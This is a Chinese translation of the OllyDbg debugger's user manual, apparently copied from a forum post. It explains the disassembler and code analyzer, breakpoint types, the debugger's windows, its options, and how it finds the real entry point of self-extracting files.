您可以很容易地把您的补丁加在可执行文件上。OllyDbg 会自动进行修正。
您不能在带有 Win32 的16位 Windows 下使用 OllyDbg。这种32位扩展操作系统无法实现某些必需的调试功能
。
您既不能调试 DOS 程序也不能调试16位 NE(New Executable)格式文件,我也没有打算在未来的版本中支持
这些。安息吧,古老而美好的命令提示符!
三,反汇编器[Disassembler]
反汇编器识别所有的标准80×86、保护、FPU、MMX和3DNow!指令集(包括Athlon扩展的MMX指令集)。但它不识
别ISSI命令,尽管计划要在下个版本中支持这种命令。某些过时或者未公开的命令,像LOADALL,也不支持。
反汇编器可以正确解码16位地址。但它假设所有的段都是32位的(段属性使用32位)。这对于PE[Portable
Executable]格式文件总是真的。OllyDbg不支持16位的NE
[New Executables]格式。
如果您熟悉MASM或者TASM,那么反汇编的代码对于您没有任何问题。但是,一些特例也是存在的。以下命令的
解码与Intel的标准不同:
AAD (ASCII Adjust AX Before Division) -
该命令的解码后的一般形式为:AAD imm8
AAM (ASCII Adjust AX After Multiply) -
该命令(非十进制数)的一般解码形式为:AAM imm8
SLDT (Store Local Descriptor Table register) -
操作数总被解码为16位。这个命令的32位形式会在目的操作数的低16位中存储段选择器,并保留高16位不变。
SALC (Sign-extend Carry bit to AL, undocumented) -
OllyDbg 支持这个未公开指令。
PINSRW (Insert Word From Integer Register, Athlon extension to MMX) -
在AMD的官方文档中,这个命令的内存形式使用了16位内存操作数;然而寄存器形式需要32位寄存器,但只使
用了低16位。为了方便处理,反汇编器解码寄存器为16
位形式。而汇编器两种形式都支持。
CVTPS2PI and CVTTPS2PI (Convert Packed Single-Precision Floating to Packed Doubleword, Convert
with Truncation Packed Single-Precision Floating to Packed Doubleword) -
在这些命令中,第一个操作数是MMX寄存器,第二个或者是128位XMM寄存器或者是64位内存区域。为了方便处
理,内存操作数也被解码为128位。
有些指令的助记符要依赖操作数的大小:
不分大小的形式 明确的16位形式 明确的32位形式
PUSHA PUSHAW PUSHAD
POPA POPAW POPAD
LOOP LOOPW LOOPD
LOOPE LOOPWE LOOPDE
LOOPNE LOOPWNE LOOPDNE
PUSHF PUSHFW PUSHFD
POPF POPFW POPFD
IRET IRETW IRETD
您可以改变解码大小敏感助记符[decoding of size-sensitive mnemonics].。根据选项,反汇编器从三种
可能中选择之一进行解码。这个选项也会影响汇编器的默认处理方式。
解码MMX和3DNow!指令总是开启的,尽管您的处理器并不支持这些指令。
四,分析器[Analysis]
OllyDbg 整合了一个快速而强大的代码分析器。您可以从快捷菜单,或者在CPU窗口的反汇编面板中按 Ctrl+A
,或者在可执行模块中选择“分析全部模块[Analyze all modules]”,来使用它。
分析器有很高的启发性。它能区分代码和数据,标记入口和跳转目的地址,识别转换表[switch tables],
ASCII 和 UNICODE 串,定位函数过程,循环,高阶转换[
high-level switches]并且能解码标准API函数的参数(示例[example])。OllyDbg 的其他部分也广泛的
使用了分析后的数据。
这是如何实现的?我将为您揭开这一神秘面纱。第一遍,OllyDbg反汇编代码段中所有可能的地址,并计算调
用的每个目的地址的个数。当然,很多调用是假的,但不可能两个错误的调用都指向了相同的命令,当然如果
有三个的话,就更不可能了。因此如果有三个或者更多的调用指向了相同的地址,我可以肯定的说这个地址是
某个频繁使用的子程序的入口。从定位的入口出发,我继续跟踪所有的跳转和函数调用,等等。按这种方法,
我可能准确定位99.9% 的命令。但是,某些字节并不在这个链条上。我再用20多种高效的启发方法(最简单的
方法,比如“直接访问前64K内存是不允许的,像在MOV [0],EAX中”)来探测他们
有时,分析器在您感兴趣的地方分析错误。有两种解决方法:或者从选中的部分移除分析(快捷键退格键),
这样 OllyDbg 将使用默认的解码(反汇编)方式;或者设置
解码提示[decoding hints]并重新分析。注意:在某些情况下,当分析器认为您的提示是不合适的,或者有
冲突,则可能忽略您的设置。
探测程序的函数过程也很简单。在分析器眼中看来,程序只是一个连绵不断的代码,从一个入口开始,可能达
到(至少从理论上)所有的命令(除了NOP以及类似的用于填充间隙的命令)。您可能指定三个识别级别。严
格的函数过程要求有准确的一个入口,并且至少有一个返回。在启发级别下,分析器只要求过程有一个入口。
而如果您选择模糊模式,差不多连贯的代码都会被识别为单独的过程。现代编译器进行全局代码优化,有可能
把一个过程分成几个部份。在这种情况下,模糊模式非常有用。但是也会误识别的机率也就更高。
同样地,循环是一个封闭的连续的命令序列,并有一个到开始处的跳转作为一个入口,还有若干个出口。循环
与高级操作命令 do, while 和 for 相对应。OllyDbg 能够识别任何复杂的嵌套循环。他们会在反汇编栏
[Disassembly]中用长而粗括号标记。如果入口不是循环的第一个命令,OllyDbg会用一个小三角进行标记。
为了实现一个转换[switch], 许多编译器,读取转换变量[switch variable]到寄存器中,然后减它,像
如下的代码序列:
MOV EDX,<switch variable>
SUB EDX,100
JB DEFAULTCASE
JE CASE100 ; Case 100
DEC EDX
JNE DEFAULTCASE
… ; Case 101
这个序列可能还包含一到两阶的转换表、直接比较、优化和其他元素。如果在比较或跳转的很深处,这就很难
知道哪是一个分支[Case]。OllyDbg 会帮助您,它会标记所有的分支,包括默认的,甚至尝试分析每个分支
的含义,如’A'、WM_PAINT 或者 EXCEPTION_ACCESS_VIOLATION。如果命令序列没有修改寄存器(也就是仅仅
由比较组成),那么这可能不是转换,而很有可能是选择嵌套:
if (i==0) {…}
else if (i==5) {…}
else if (i==10) {…}
如果需要OllyDbg将选择嵌套解码成选择语句,请在分析1[Analysis1]中设置相关选项。
OllyDbg包含多达1900条常用API函数,这些都作为内部预处理资源。这个列表包含了KERNEL32, GDI32,
USER32, ADVAPI32, COMDLG32, SHELL32, VERSION, SHLWAPI, COMCTL32, WINSOCK, WS2_32 和 MSVCRT。您可
以添加自己的函数描述[add your own descriptions]。如果分析器遇到的调用,使用了已知的函数名(或
者跳转到这样的函数),它将在调用之前立即解码PUSH命令。因此,您只需略微一看就能明白函数调用的含义
。OllyDbg还包含了大约400多种的标准C函数。如果您有原始的库文件,我推荐您在分析前扫描目标文件。这
样 OllyDbg将能解码这些C函数的参数。
如果选项“猜测未知函数的参数个数”开启,分析器将会决定这个调用函数过程使用的长度为双字的参数个数
。并且标记他们为参数1[Arg1],参数2[ Arg2],等等。注意:无论如何,寄存器参数是无法识别的,所
以不会增加参数的数目。分析器使用了一种比较安全的方法。例如,它不能识别的没有参数的函数过程,或者
该过程POP
命令直接做返回前的寄存器恢复,而不销毁参数。然而,识别出来的函数参数数目通常非常高,这大大加大了
代码的可读性。
分析器能够跟踪整型寄存器的内容。现代优化编译器,特别是奔腾系列,频繁地使用寄存器读取常量和地址,
或使用尽量少的使用内存。如果某个常量读取到寄存器中,分析器会注意它,并尝试解码函数和其参数。分析
器还能完成简单的算术计算,甚至可以跟踪压栈和出栈。
分析器不能区分不同类的名称[different kinds of names]. 。如果您将某些函数指定为已知的名称,
OllyDbg将会解码所有到该地址的调用。这是几个预定义的特殊名称
WinMain, DllEntryPoint and WinProc。您可能使用这些标签标记主程序、DLL的的入口以及窗口过程(注意
:OllyDbg不检查用户自定义的标签是否唯一)。另外,假定预定义参数assume predefined arguments是一种
更好的方法
不幸的是,没有一般规则能够做到100%的准确分析。在某些情况下,例如当模块包含了P-Code或代码段中包换
了大量的数据,分析器可能将一些数据解释成代码。如果统计分析显示代码部分很可能是压缩包或者经过加密
了,分析器会发出警告。如果您想使用Hit跟踪[Hit trace],我建议您不要使用模糊分析[fuzzy analysis
],因为设置断点的地方可能正是数据部分。
自解压文件[Self-extractable files] 通常有一个自提取器,在“正式”代码段之外。如果您选择自解压
选项[SFX option]中的“扩展代码段,包含提取器[Extend code section to include self-extractor]
”,OllyDbg将会扩展代码段,形式上允许分析它,并可以使用Hit跟踪[Hit] trace和Run跟踪[Run trace
]。
五,Object扫描器[Object scanner]
扫描器将特定的目标文件或者目标库(包括OMF和COFF两种格式),提取出代码段,然后将这些段定位在当前
模块的代码节[Code section]中.如果段定位好了,扫描器将从目标文件中的调试信息提取名称(也就是所谓
的库标签[library labels])。这极大的增加了代码与数据的可读性.
扫描器并不会对已识别的目标文件进行标签匹配,所以它不能识别非常小或相似的函数(比如:两个函数只是
在重定位有区别)。因此要经常检查扫描器发送到登陆窗口的警告列表!
六,Implib扫描器 [Implib scanner]
某些DLL的输出符号仅仅是一个序号。许多符号都是井号加数字(比如:MFC42.#1003),这非常不便于理解。
幸运的是,软件零售商提供了输入连接库(implibs),它与序号符号名相关。
使用implib扫描器的方法:从主菜单中选择调试[Debug]|选择输入链接库[Select import libraries]。
当您加载应用程序时,OllyDbg会读取链接库并从内置表格[
internal tables]中提取符号名。每次遇到序号符号,而对应的链接库已经注册到OllyDbg中时,这个序号符
号会被替换。
七,如何开始调试[How to start debugging session]
最简单的方法是:运行 OllyDbg,点击菜单上的文件[File]|打开[Open],选择您想调试的程序。如果程
序需要命令行参数,您可以在对话框底部的输入栏中,输入参数或者选择以前调试时输入过的一条参数。
OllyDbg 能够调试独立的DLL[stand-alone DLLs]。在这种情况下,OllyDbg 会创建并运行一个小的应用程
序来加载链接库并根据您的需要调用输出函数。
如果您想重新启动上一次调试的程序,只要按一下 Ctrl+F2(这是重启程序的快捷键),这样 OllyDbg 会以
同样的参数运行这个程序。另一种做法是在菜单中选择文件[File],从历史列表中选择程序。您也可以在
Windows 资源管理器中将可执行文件或 DLL 文件拖拽到 OllyDbg 中。
当然,您可以在 OllyDbg 启动时,运行指定带有运行参数的被调试程序。例如:您可以在桌面创建一个
OllyDbg 的快捷方式,右击并选择“属性”,在“快捷方式”中的“目标”中添加调试的程序的全路径。这样
,您每次双击快捷方式时,OllyDbg 将自动运行被调试程序。注意:DLL文件不支持这种方式。
您可以把正在运行的进程挂接到 OllyDbg 中。在菜单中打开文件[File]|挂接[Attach],从进程列表中选
择要挂接的进程。注意:在您关闭 OllyDbg 的同时,这个进程也会被关闭。不要挂接系统进程,否则可能会
导致整个操作系统的崩溃。(事实上在大多数情况下,操作系统禁止您挂接敏感进程)。
OllyDbg 可以作为即时[just-in-time]调试器。这需要在系统注册表中注册。在菜单中选择选项[Options
]|即时调试[Just-in-time debugging] 并在弹出的对话框中单击按钮“设置OllyDbg为即时调试器”
[Make OllyDbg just-in-time debugger]。今后,如果某个应用程序发生了非法操作,系统将提示您是否用
OllyDbg 调试这个程序。操作系统会启动 OllyDbg 并直接停在发生异常的地方。如果您选择了“挂接时不询
问”[attaching without confirmation],则在即时调试时OllyDbg不会弹出询问对话框。如果想恢复成以
前的即时调试器[Restore old just-in-time debuger],按相应的按钮即可。
另一种方法是把 OllyDbg 添加到与可执行文件关联的快捷菜单中(这个想法是 Jochen Gerster 提出的)。
在主菜单中,选择选项[Options]|添加到资源管理器中[Add to Explorer]。以后您可以在所有的文件列
表中,右击可执行文件或DLL,在快捷菜单中选择OllyDbg。这个功能会创建四个注册表键值:
HKEY_CLASSES_ROOT\exefile\shell\Open with OllyDbg
HKEY_CLASSES_ROOT\exefile\shell\Open with OllyDbg\command
HKEY_CLASSES_ROOT\dllfile\shell\Open with OllyDbg
HKEY_CLASSES_ROOT\dllfile\shell\Open with OllyDbg\command
OllyDbg能够调试控制台程序(基于文字的)。
OllyDbg不能调试.NET应用程序。.NET程序是由微软的中间语言这种伪指令组成的,或是on-the-fly to
native ?6 commands编译的。
注意:如果您运行的是Windows NT、2000 或XP操作系统,您应该拥有管理员权限以便能够调试程序。。,
八,CPU 窗口[CPU window]
对于用户来说,CPU窗口在OllyDbg中是最重要的窗口。您调试自己程序的绝大部分操作都要在这个窗口中进行
。它包括以下五个面板(这五个面板的大小都是可以调节的):
反汇编[Disassembler]
信息[Information]
数据[Dump]
寄存器[Registers]
栈[Stack]
按TAB键,可以切换到下一个CPU面板中(顺时针方向)。
按Shift+TAB,可以切换到前一个CPU面板(逆时针方向)。
九,断点[Breakpoints]
OllyDbg支持数种不同类型的断点:
- 一般断点[Ordinary breakpoint], 将您想中断的命令的第一个字节,用一个特殊命令INT3(调试器陷阱
)来替代。您可以在反汇编窗口中选中要设断点的指令行并按下 F2 键就可以设定一个此类型的断点。也可以
在快捷菜单中设置。再次按下 F2 键时,断点将被删除。注意,程序将在设断指令被执行之前中断下来。
INT3断点的设置数量是没有限制的。当您关闭被调试程序或者调试器的时候,OllyDbg将自动把这些断点保存
到硬盘中,永远不要试图在数据段或者指令的中间设置这种断点,如果您试图在代码段以外设置断点,
OllyDbg将会警告。您可以在安全选项[Security options]中永远关闭这个提示,在某些情况下调试器会插
入自带的临时INT3
断点。
- 条件断点[Conditional breakpoint] (快捷键 Shift+F2)是一个带有条件表达式的普通INT3断点。当调
试器遇到这类断点时,它将计算表达式的值,如果结果非零或者表达式无效,将暂停被调试程序,当然,由条
件为假的断点引起的开销是非常高的(主要归因于操作系统的反应时间)。在Windows NT、奔腾Ⅱ/450处理器
环境下
OllyDbg每秒最多处理2500个条件为假的断点。条件断点的一个典型使用情况就是在Windows消息上设置断点(
比如 WM_PAINT)。为此,您可以将伪变量 MSG 同适当的参数说明联合使用。如果窗口被激活,参考一下后面
的消息断点描述。
- 条件记录断点 [Conditional logging breakpoint](Shift+F4)是一种条件断点,每当遇到此类断点或
者满足条件时,它将记录已知函数表达式或参数的值。例如,您可以在一些窗口过程函数上设置记录断点并列
出对该函数的所有调用。或者只对接收到的WM_COMMAND消息标识符设断,或者对创建文件的函数(CreateFile
)设断,并且记录以只读方式打开的文件名等,记录断点和条件断点速度相当,并且从记录窗口中浏览上百条
消息要比按上百次F9轻松的多,您可以为表达式选择一个预先定义好的解释说明。
您可以设置通过的次数 – 每次符合暂停条件时,计数器就会减一。如果通过计数在减一前,不等于零,
OllyDbg就会继续执行。如果一个循环执行100次(十进制),在循环体内设置一个断点,并设置通过次数为99
(十进制)。OllyDbg将会在最后一次执行循环体时暂停。
另外,条件记录断点允许您传递一个或多个命令给插件[plugins]。例如,您需要使用命令行插件改变一个
寄存器的内容,然后继续执行程序。
- 消息断点[Message breakpoint]和条件记录断点基本相同,除了OllyDbg会自动产生一个条件,这个条件
允许在窗口过程的入口处设置某些消息(比如WM_PSINT)断点,您可以在窗口[Windows]中设置它。
- 跟踪断点[Trace breakpoint] 是在每个选中命令上设置的一种特殊的INT3断点。如果您设置了Hit跟踪[
hit trace],断点会在命令执行后移除,并在该地址处做一个标记。如果您使用的是Run跟踪[run trace]
,OllyDbg会添加跟踪数据记录并且断点仍然是保持激活状态。
- 内存断点[Memory breakpoint] OllyDbg每一时刻只允许有一个内存断点。您可以在反汇编窗口、CPU窗口
、数据窗口中选择一部分内存,然后使用快捷菜单设置内存断点。如果有以前的内存断点,将被自动删除。您
有两个选择:在内存访问(读,写,执行)时中断,或内存写入时中断。设置此类断点时,OllyDbg将会改变
所选部分的内存块的属性。在与80×86兼容的处理器上将会有4096字节的内存被分配并保护起来。即使您仅仅
选择了一个字节,OllyDbg 也会将整个内存块都保护起来。这将会引起大量的错误警告,请小心使用此类断点
。某些系统函数(特别是在Windows95/98下)在访问受保护的内存时不但不会产生调试事件反而会造成被调试
程序的崩溃。
- 硬断点[Hardware breakpoint](仅在Windows ME,NT或2000下可用)在80×86兼容的处理器上,允许您设
置4个硬件断点。和内存断点不同,硬件断点并不会降低执行速度,但是最多只能覆盖四个字节。在单步执行
或者跟踪代码时,OllyDbg能够使用硬断点代替INT3断点。
- 内存访问一次性断点[Single-shot break on memory access] (仅在Windows NT或2000下可用)。您可
以通过内存窗口的快捷菜单(或按F2),对整个内存块设置该类断点。当您想捕捉调用或返回到某个模块时,
该类断点就显得特别有用。中断发生以后,断点将被删除。
- 暂停Run跟踪[Run trace pause] (快捷键:Ctrl+T)是在每一步Run跟踪[run trace]时都要检查的一
个条件集.您可以在EIP进入某个范围或超出某个范围时暂停,某个条件为真时暂停,或者命令与指定的模式匹
配时暂停,或者当命令可疑的时候暂停。注意,这一选择会极大的(高达20%)降低Run跟踪的速度。
OllyDbg也可以在一些调试事件[debugging events]上暂停程序执行。比如加载或卸载DLL,启动或终止线程
,或者程序发出调试字符串的时候。
10,数据窗口[Dump]
数据窗口用于显示内存或文件的内容。您可以从以下预处理格式[predefined formats]中选择一种显示方式
:字节[byte]、文本[text]、整数[integer]、浮点数[float
]、地址[address],反汇编[disassembly]、 PE头[PE Header]。
所有的dump窗口支持备份[backup]、搜索和编辑操作。CPU 窗口[CPU window]的Dump面板允许您对可执行
代码的数据和可执行文件(.exe,或.dll)的内存映射做如下操作:定义标签[labels]、设置内存断点
[memory breakpoints], 查找参考[references]。数据菜单[Dump menu]只显示与选中部分相关的命令
。
如果 备份[backup]可用,则单击第一个列标题栏,会在地址[Address]/备份[Backup] 两种显示模式之
间切换。点击其他列标题栏,会改变Dump模式。
像反汇编窗口一样,数据窗口也保存了大量查看内存地址的历史记录。您可以通过“+”和“-”键来访问您过
去查看过的数据地址空间。
要翻动一字节的数据,可以按住Ctrl l键并按上/下方向键。
可执行模块窗口[Executable modules window]
可执行模块窗口(快捷键:Alt+E)列出了当前被调试进程加载的所有可执行模块。它也显示了很多有用的信
息,比如模块大小、入口地址、模块版本、以及可执行文件路径等。一些信息,如以十进制显示的模块大小、
入口地址的符号名、是否为系统模块等,通常是被隐藏的。如果想看,可以增加相应栏的宽度。快捷菜单支持
以下操作:
刷新[Actualize] – 重新扫描模块并去除对新加载模块的高亮显示。在大多数情况下,OllyDbg会自动完成
该操作。
查看内存[View memory] – 打开内存窗口,并定位到属于该模块镜像的第一个内存块处。
在CPU窗口中查看代码[View code in CPU] (快捷键:回车键) – 在反汇编窗口中显示模块的可执行代码
。
跟进到入口[Follow entry] – 在反汇编窗口中跟进到模块的入口处。
在CPU窗口中查看数据[Dump data in CPU] -在CPU窗口的数据面板中显示模块的数据段。块代码段。
显示名称[View names] (快捷键:Ctrl+N) -显示当前模块定义或使用的全部名称[names](包括输出表
、引入表、链接库、用户自定义)。
标记为系统DLL[Mark as system DLL],
标记为非系统DLL[Mark as non-system DLL] – 将选中模块标记为系统或非系统属性。如果设置为系统属性
,则在Run跟踪[Run trace]时会直接执行(不进行跟踪)这个模块,从而大大加快跟踪速度。默认情况下,
所有驻留在系统目录(通常在Windows 95/98下为c:\windows\system ,在WinNT/2000/XP下为
c:\winnt\system32)的模块都认为是系统模块。
立即更新.udd文件[Update .udd file now] -向文件“<模块名>.udd”写入模块相关的全部数据,udd文件
保存了在调试期间设置的断点、标签、注释、监视、分析等信息。当模块卸载时OllyDbg会自动创建.udd文件
。
查看可执行文件[View executable file] – 显示可执行文件的全部内容。
查看全部资源[View all resources] – 以列表形式显示模块定义的全部资源,并带有一个简短信息。
OllyDbg并不把资源当作单独实体来支持。您可以提取[Dump]并以二进制的形式进行编辑。
查看资源字符串[View resource strings] -以列表形式显示资源字符串及其标识符。
查看Run跟踪的统计[View run trace profile] – 在此模块中计算统计[profile] 。相关信息:Run跟踪
[Run trace].
分析全部模块[Analyze all modules] -允许同时分析全部模块。分析将从代码中提取大量的有用信息;代
码经过分析后再进行调试,通常会非常快并且可靠。
鼠标双击某一行,将会在反汇编窗口中显示模块的执行代码。
十,内存映射窗口[Memory map window]
内存映射窗口显示了被调试程序分配的所有内存块。因为没有标准的方法来完成这项任务,所以 OllyDbg可能
会把一个大的内存块分成几个部分。然而,在大多数情况下,并非一定要精确处理。如果想查看由应用程序通
过调用GlobalAlloc ()和LocalAlloc()等申请的内存块列表,请使用堆列表[Heap list]。
如果内存块是可执行模块的一个节,OllyDbg则会报告这个内存块所包含的数据类型:代码、数据、资源等。
Windows95/98是和WindowsNT/2000是有一些区别的。在Windows95/98下,OllyDbg是不能显示被映射文件的名
称的。另外,Windows95/98不允许的访存类型为读和写,然而,在WindowsNT/2000下,OllyDbg却有拥有更多
功能,包括执行访问,写复制[copy-on-write]以及监视标志位。OllyDbg忽略写复制[copy-on-write]属
性。
如果OllyDbg发现程序分配了新内存或者重新分配了已经存在的内存块,它将在内存映射窗口中高亮显示相应
的记录,去掉高亮度显示,可以选择快捷菜单中的刷新[
Actualize]项。
您可以按Alt+M来调用内存窗口。
以下是快捷菜单中可以选择的菜单项:
刷新[Actualize] – 更新已分配内存的列表并去除对新内存块的高亮显示。
在反汇编窗口中查看[View in Disassembler] -在反汇编窗口中查看:在反汇编窗口中打开内存块,这一选
项仅在某些模块的内存块中包含可执行代码或者自解压器时可用。
在CPU数据窗口中查看[Dump in CPU] – 在CPU的数据窗口中显示内存块的内容。
数据窗口[Dump] – 在单独窗口中显示内存块内容。如果内存块的类型已知,则OllyDbg会自动选择显示格式
。
查看全部资源[View all resources] – 如果内存块包含资源数据,则列出所有资源及相关数据。OllyDbg并
不把资源当作单独实体来支持。您可以显示其数据并以二进制的形式进行编辑。
查看资源字符串[View resource strings] – 如果内存块包含资源数据,则列出全部资源字符串及其标识符
。
搜索[Search] – 允许搜索所有的内存块,从选择处开始,搜索匹配的二进制串。如果找到,则OllyDbg将显
示该内存块。内存映像窗口和数据窗口共享同一种搜索模式,所以您可以在弹出的数据窗口中立即继续搜索该
二进制串出现的下一位置。按Esc键可以关闭数据窗口。
搜索下一个[Search next](快捷键:Ctrl+L) – 继续上次搜索。
设置访问中断[Set break-on-access] (快捷键:F2,仅在WindowsNT/2000下可用) – 保护整个内存块。
当中断发生后OllyDbg暂停被调试程序并清除断点。这类断点在您想捕捉调用或返回到某个模块的时候特别有
用。
清除访问中断[Remove break-on-access] (快捷键:F2) – 从内存块中清除访问中断保护。
设置内存访问断点[Set memory breakpoint on access] – 在整个内存块上设置断点,每当该内存块被访问
时程序都将中断。OllyDbg只支持一个内存访问断点。在
Windows95/98下,当系统程序访问含有内存断点的内存块时,可能会导致所被调试程序崩溃,因此,不到万不
得已,请不要设置这种断点。
设置内存写入断点[Set memory breakpoint on write] – 在整个内存块上设置断点,每当该内存块被写入
数据时程序都将中断。在Windows95/98下,当系统程序访问含有内存断点的内存块时,可能会导致所被调试程
序崩溃,因此,不到万不得已,请不要设置这种断点。
清除内存断点[Remove memory breakpoint] – 清除内存断点。
清除自解压内存断点[Remove SFX memory breakpoint] – 停止搜索自解压程序[self-extractable (SFX)
program]的真实入口。这个搜索使用了特殊类型的内存断点。
访问设置[Set access] -设置整个内存块的保护属性,可选择的有:
禁止访问[No access]
只读[Read only]
读/写[Read/write]
执行[Execute]
执行/读[Execute/read]
完全访问[Full access]
复制到剪切板[Copy to clipboard]
整行[Whole line] -以多行文本(包括解释)的方式把所选记录复制到剪切板,如果复制时想排除某些列,
可将该列的宽度置为最小(该栏剩余的边框将变灰)。
整个表格[Whole table] -以多行文本的方式将整个内存映像信息复制到剪切板,该文本的第一行为窗口标
题("内存映射[Memory map]"),第二行为列标题栏,后面几行的内容为内存数据记录。复制将保持列的宽
度。如果复制时想排除某些列,可将该列的宽度置为最小(该栏剩余的边框将变灰)。
十一,监视与监察器[Watches and inspectors]
监视[Watch] 窗口包含若干个表达式[expressions]。它在第二列里显示这些表达式的值。OllyDbg 会把
这些表达式保存到主模块的.UDD文件中,因此它们在下一次调试时同样有效。
监察器[inspector]是显示若干变量、1/2维数组或是选定项目结构数组[selected items of array of
structures]的独立窗口。它的表达式与监视窗口中的基本相同,只是多包含了两个参数:%A和%B。您可以指
定这两个参数的界限,OllyDbg 将会用所有可能的组合代替表达式中的%A和%B。从0开始一直到界限(不包含
界限),并在表格中显示结果。参数%B(列数)的界限不能超过16。
例如,如果您指定了表达式%A+%B,并且限定%A和%B的上限为3,您将获得如下的表格:
图片附件: 01.JPG (2005-9-6 15:34, 41.42 K)
screen.width * 0.7) { this.resized = true; this.width = screen.width * 0.7; this.alt = "\u70B9
\u51FB\u5728\u65B0\u7A97\u53E3\u67E5\u770B\u5168\u56FE\nCTRL+\u9F20\u6807
\u6EDA\u8F6E\u653E\u5927\u6216\u7F29\u5C0F"; } } "
src="http://www.chinadforce.com/attachments/day_050906/01_MGwPJPgMiSOq.jpg" />
十三,线程[Threads]
OllyDbg 以简单而有效的线程管理为特色。如果您单步调试、跟踪、执行到返回或者执行到所选,则线程管理
器将停止除当前线程以外的所有线程。即使当前线程被挂起,它也会将其恢复。在这种情况下,如果您手动挂
起或者恢复线程,动作将被延期。如果您运行被调试的应用程序,OllyDbg将恢复最初的线程状态。(从调试
器的角度来看,Hit跟踪[hit trace]和自由运行是等效的)。
依据这种方案,线程窗口可能会有如下五种线程状态:
激活[Active] – 线程运行中,或被调试信息暂停t
挂起[Suspended] – 线程被挂起
跟踪[Traced] – 线程被挂起,但OllyDbg正在单步跟踪此线程
暂停[Paused] – 线程是活动的,但OllyDbg临时将其挂起,并在跟踪其它的线程
结束[Finished] – 线程结束
.
线程窗口同时也显示了最后的线程错误(GetlastError函数的返回值)并计算该线程以用户模式和系统模式(
仅NT/2000/XP)运行的时间。线程窗口还会高亮主线程的标识符。
以下在快捷菜单中可用:
刷新[Actualize] – 标记所有线程为旧的。
挂起[Suspend] – 挂起线程。
恢复[Resume] – 恢复先前挂起的线程。
设置优先级[Set priority] – 调整进程中线程的优先级。以下选项可用:
空闲[Idle] – 进程中线程的最低优先级
最低[Lowest]
低[Low]
标准[Normal]
高[High]
最高[Highest]
时间临界[Time critical] – 最高优先级
在CPU窗口打开[Open in CPU](双击)- 在CPU窗口中显示所选线程的当前状态。
十四,复制到剪切板[Copy to clipboard]
整行[Whole line] -全部行–以多行文本的形式并带注释将所选记录复制到剪切板。如果在复制时想排除某
个栏目,可以将该栏的宽度置为最小(栏目的残留部分将变灰)。
整个表格[Whole table] – 整个表格–以多行文本的形式将整个内存映象复制到剪切板,该文本的第一行包
含窗口标题(“内存映射[Memory map]”),第二行是栏目标题,所有后继行是内存数据记录。复制将保持
栏目的宽度。如果在复制时想排除某些栏目,可以将该栏的宽度置为最小(栏目的残留部分将变灰)。
十五,调用栈[Call stack]
调用栈窗口(快捷键:Alt+K)根据选定线程的栈,尝试反向跟踪函数调用顺序并将其显示出来,同时包含被
调用函数的已知的或隐含的参数。如果调用函数创建了标准的堆栈框架(PUSH EBP; MOV EBP,ESP),则这个
任务非常容易完成。现代的优化编译器并不会为栈框架而操心,所以OllyDbg另辟蹊径,采用了一个变通的办
法。例如,跟踪代码到下一个返回处,并计算其中全部的入栈、出栈,及 ESP 的修改。如果不成功,则尝试
另外一种办法,这个办法风险更大,速度也更慢:移动栈,搜索所有可能的返回地址,并检查这个地址是否被
先前的已分析的命令调用。如果还不行,则会采用启发式搜索。栈移动[Stack Walk]可能会非常慢。
OllyDbg 仅在调用栈窗口打开时才会使用。
调用栈窗口包含5个栏目:地址[Address]、栈[Stack]、过程[Procedure],调用来自[Called from]
,框架[Frame]。地址[Adress]栏包含栈地址,栈[Stack]
栏显示了相应的返回地址或参数值。
函数[Procedure](或 函数/参数[Procedure / arguments])显示了被调用函数的地址,在某些情况下,
OllyDbg并不能保证该地址是正确的并会添加如下标记之一:
? 找到的入口点不可靠
可能[Maybe] OllyDbg无法找到精确的入口点,报告的地址是用启发式算法猜测的。
包含[Includes] OllyDbg无法找到入口点,仅知道该函数包含显示的地址
通过按例标题栏上的按钮或从菜单中选择“隐藏/显示参数[Hide/Show arguments]”,可以在显示或隐藏函
数的参数之间切换。
调用来自[Called from]用于显示调用该函数的命令地址。最后一栏是框架[Frame]这一栏默认是隐藏的,
如果框架指针的值(寄存器EBP)已知的话,则该栏用于显示这个值。
当调用函数经过分析[analyzed].后,栈移动会更可靠并且迅速。
十六,调用树[Call tree]
调用树(快捷键:在反汇编窗口中Ctrl+K)利用分析[Analysis]的结果来找出指定函数过程直接或间接调用
的函数列表,同时列出指定函数过程被调用的地址。为了避免由此可能造成的副作用。调用树会判断选定函数
是否明确地是递归的。 “明确地”意味着它不会跟踪目标未知的调用,比如CALL EAX。如果函数过程中有未
知调用,调用树将会添加标记“未知目标”。
某些函数调用将会添加如下注释之一:
叶子[Leaf] 不调用其他函数
纯函数[Pure] 不调用函数,不会产生副作用
单返回[RETN] 只有一个RETN 命令
系统[Sys] 系统动态链接库中的函数。系统动态链接库定义为保存在系统目录下的动态链接库。
如果想在调用树上移动,可以双击“被调用[Called from]”或“调用/直接调用[Calls/Calls directly]
”两栏中的地址。调用树窗口保存了移动记录(快捷键“-”和“+”)。
如果被调试的程序包含几个模块,推荐您分析所有模块。Call tree 不会试图处理系统函数。
十七,选项[Options]
外观选项[Appearance options]
常规[General]
默认[Defaults]
对话框[Dialogs]
目录[Directories]
字体[Fonts]
颜色[Colours]
代码高亮[Code highlighting]
调试选项[Debugging options] (Alt+O)
安全[Security]
调试[Debug]
事件[Events]
异常[Exceptions]
跟踪[Trace]
自解压[SFX]
字符串[Strings]
地址[Addresses]
命令[Commands]
反汇编[Disasm]
CPU
寄存器[Registers]
栈[Stack]
分析1[Analysis 1]
分析2[Analysis 2]
分析3[Analysis 3]
即时调试[Just-in-time debugging]
添加到资源管理器[Add to Explorer]
十八,搜索[Search]
OllyDbg 允许您使用以下的搜索方式:
符号名(标签)[Symbolic name (label)]
二进制串[binary string]
常量[constant]
命令[command]
命令序列[sequence of commands]
模块间调用[intermodular calls]
修改过的命令或数据[modified command or data]
自定义标签[user-defined label]
自定义注释[user-defined comment
文本字符串[text string]
Run跟踪的记录[record in run trace]
参考命令[referencing commands]
十九,自解压文件[Self-extracting (SFX) files]
自解压文件由提取程序和压缩的原程序两部分组成。当遇到自解压文件(SFX)文件时,我们通常希望跳过解
压部分,而直接跳到原始程序的入口(真正的入口)。
OllyDbg 包含了几个便于完成这一任务的功能。
通常提取程序的加载地址都在执行代码之外。在这种情况下,OllyDbg 将这类文件均视作为自解压文件(SFX)
。
当自解压选项[SFX options]要求跟踪真正入口时,OllyDbg 在整个代码节[Code section]设置内存断点
,最初这里是空的,或者只包含压缩数据。当程序试图执行某个在这个保护区域的命令,而这些命令不是 RET
和 JMP 时,OllyDbg 会报告真正的入口。这就是提取工作的原理。
